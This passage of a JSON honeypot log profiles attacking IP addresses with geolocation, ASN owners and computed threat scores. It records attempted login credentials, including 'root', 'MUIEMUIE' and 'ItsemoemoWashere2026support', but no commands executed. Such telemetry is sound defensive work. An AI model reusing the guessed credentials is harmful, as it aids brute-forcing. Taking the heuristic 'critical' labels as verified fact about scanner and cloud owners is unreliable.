        "last_seen_30d": "2026-05-26T06:46:50.128000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 9
      }
    },
    "5.149.251.173": {
      "attack_count": 18,
      "first_seen": "2026-05-10T11:32:01.163Z",
      "last_seen": "2026-05-12T11:13:00.183Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 61046,
      "as_org": "HZ Hosting Ltd",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T11:32:01.163000+00:00",
        "last_seen_30d": "2026-05-12T11:14:06.635000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 10
      }
    },
    "91.80.190.210": {
      "attack_count": 18,
      "first_seen": "2026-05-20T09:55:56.273Z",
      "last_seen": "2026-05-20T16:58:24.242Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T09:55:56.273000+00:00",
        "last_seen_30d": "2026-05-20T16:59:25.071000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "202.91.86.6": {
      "attack_count": 16,
      "first_seen": "2026-05-03T01:17:41.885Z",
      "last_seen": "2026-05-18T03:52:36.758Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9830,
      "as_org": "SWIFT ONLINE BORDER AS",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:17:41.885000+00:00",
        "last_seen_30d": "2026-05-18T03:53:38.249000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 10
      }
    },
    "198.46.199.116": {
      "attack_count": 12,
      "first_seen": "2026-05-27T02:58:36.181Z",
      "last_seen": "2026-05-31T18:22:02.512Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Elk Grove Village",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T02:58:36.181000+00:00",
        "last_seen_30d": "2026-05-31T18:23:11.387000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "38.65.174.55": {
      "attack_count": 8,
      "first_seen": "2026-05-12T17:41:38.749Z",
      "last_seen": "2026-05-12T17:50:25.840Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Amealco de Bonfil",
      "asn": 270158,
      "as_org": "Wantelco SAS de CV",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T17:41:38.749000+00:00",
        "last_seen_30d": "2026-05-12T18:00:30.510000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "64.62.156.222": {
      "attack_count": 8,
      "first_seen": "2026-05-16T06:24:52.316Z",
      "last_seen": "2026-05-23T07:08:30.672Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 348,
        "days_active_30d": 30,
        "ports_targeted_30d": 81,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T03:25:32+00:00",
        "last_seen_30d": "2026-05-31T11:26:36.494000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 212,
        "Honeytrap": 102,
        "Miniprint": 11,
        "H0neytr4p": 9,
        "Cowrie": 8,
        "Adbhoney": 2,
        "ConPot": 2,
        "Dionaea": 2
      }
    },
    "128.203.201.204": {
      "attack_count": 7,
      "first_seen": "2026-05-15T21:47:02.334Z",
      "last_seen": "2026-05-15T21:47:12.384Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 52.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.0,
        "persistence": 15.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 18,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-14T14:05:43.752000+00:00",
        "last_seen_30d": "2026-05-31T03:35:12.795000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 7,
        "Honeytrap": 2
      }
    },
    "213.209.159.225": {
      "attack_count": 7,
      "first_seen": "2026-05-06T06:03:40.440Z",
      "last_seen": "2026-05-22T21:20:03.951Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "MUIEMUIE"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T06:03:40.440000+00:00",
        "last_seen_30d": "2026-05-22T21:21:09.773000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "106.58.151.127": {
      "attack_count": 6,
      "first_seen": "2026-05-18T21:48:44.827Z",
      "last_seen": "2026-05-18T21:49:14.317Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:48:44.827000+00:00",
        "last_seen_30d": "2026-05-18T21:50:18.863000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "149.19.165.89": {
      "attack_count": 6,
      "first_seen": "2026-05-21T19:48:43.302Z",
      "last_seen": "2026-05-21T19:48:50.350Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T19:48:43.302000+00:00",
        "last_seen_30d": "2026-05-21T19:49:58.072000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "195.184.76.92": {
      "attack_count": 6,
      "first_seen": "2026-05-27T08:33:39.045Z",
      "last_seen": "2026-05-27T08:34:01.325Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f172.105.186.117\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'"
      ],
      "passwords_attempted": [
        "\u0000\f\u0000",
        "b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 75.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 28,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T07:44:19+00:00",
        "last_seen_30d": "2026-05-29T20:44:39.279000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 119,
        "Honeytrap": 38,
        "Cowrie": 6
      }
    },
    "185.220.101.162": {
      "attack_count": 5,
      "first_seen": "2026-05-18T15:49:48.208Z",
      "last_seen": "2026-05-18T15:49:58.561Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "emo"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2026support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T15:49:48.208000+00:00",
        "last_seen_30d": "2026-05-18T15:51:06.751000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "186.250.240.21": {
      "attack_count": 5,
      "first_seen": "2026-05-15T17:14:35.634Z",
      "last_seen": "2026-05-15T17:14:38.950Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "r4h4514"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bras\u00edlia",
      "asn": 53221,
      "as_org": "ENGETRONICS INTERNET DATACENTER",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:14:35.634000+00:00",
        "last_seen_30d": "2026-05-15T17:15:39.426000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "104.152.52.128": {
      "attack_count": 4,
      "first_seen": "2026-05-27T06:41:56.035Z",
      "last_seen": "2026-05-27T06:41:56.487Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.4,
        "persistence": 18.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 22,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T05:52:02.949000+00:00",
        "last_seen_30d": "2026-05-27T06:43:03.325000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "106.41.137.62": {
      "attack_count": 4,
      "first_seen": "2026-05-21T14:46:50.381Z",
      "last_seen": "2026-05-22T12:27:49.731Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T14:46:50.381000+00:00",
        "last_seen_30d": "2026-05-22T12:28:55.506000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "139.59.164.52": {
      "attack_count": 4,
      "first_seen": "2026-05-13T07:38:56.505Z",
      "last_seen": "2026-05-13T07:39:03.842Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-13T07:38:46+00:00",
        "last_seen_30d": "2026-05-13T07:40:05.687000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "147.185.132.52": {
      "attack_count": 4,
      "first_seen": "2026-05-08T20:17:50.620Z",
      "last_seen": "2026-05-10T17:23:35.284Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 29,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T14:58:19+00:00",
        "last_seen_30d": "2026-05-31T06:10:11.976000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 17,
        "Cowrie": 4,
        "CitrixHoneypot": 1,
        "Dionaea": 1
      }
    },
    "154.221.23.112": {
      "attack_count": 4,
      "first_seen": "2026-05-25T17:36:58.563Z",
      "last_seen": "2026-05-25T17:36:59.413Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 31.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 388,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T17:36:58.563000+00:00",
        "last_seen_30d": "2026-05-25T20:41:51.175000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 384,
        "Cowrie": 4
      }
    },
    "198.235.24.124": {
      "attack_count": 4,
      "first_seen": "2026-05-24T22:40:32.354Z",
      "last_seen": "2026-05-24T22:40:36.091Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 28,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:25:12+00:00",
        "last_seen_30d": "2026-05-29T22:26:36.546000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 20,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "8.222.188.36": {
      "attack_count": 4,
      "first_seen": "2026-05-26T17:10:03.262Z",
      "last_seen": "2026-05-30T02:48:26.082Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T17:10:03.262000+00:00",
        "last_seen_30d": "2026-05-30T02:49:33.366000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "108.54.176.167": {
      "attack_count": 2,
      "first_seen": "2026-05-07T11:49:30.772Z",
      "last_seen": "2026-05-07T11:49:43.708Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "The Bronx",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:49:30.772000+00:00",
        "last_seen_30d": "2026-05-07T11:50:45.987000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.28.195.245": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:19:49.451Z",
      "last_seen": "2026-05-23T08:20:16.865Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cagayan de Oro",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:19:49.451000+00:00",
        "last_seen_30d": "2026-05-23T08:21:20.568000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.245.97.3": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:57:32.584Z",
      "last_seen": "2026-05-23T11:57:49.801Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:57:32.584000+00:00",
        "last_seen_30d": "2026-05-23T11:58:57.056000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "129.208.207.222": {
      "attack_count": 2,
      "first_seen": "2026-05-07T19:14:07.955Z",
      "last_seen": "2026-05-07T19:14:20.356Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Dammam",
      "asn": 39891,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T19:14:07.955000+00:00",
        "last_seen_30d": "2026-05-07T19:15:26.418000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "134.209.122.128": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:20:42.069Z",
      "last_seen": "2026-05-23T06:20:52.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:20:42.069000+00:00",
        "last_seen_30d": "2026-05-23T06:21:55.429000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.97.136.138": {
      "attack_count": 2,
      "first_seen": "2026-05-09T00:00:19.022Z",
      "last_seen": "2026-05-09T00:00:32.292Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Caxias do Sul",
      "asn": 28343,
      "as_org": "UNIFIQUE TELECOMUNICACOES SA",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:00:19.022000+00:00",
        "last_seen_30d": "2026-05-09T00:01:39.851000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
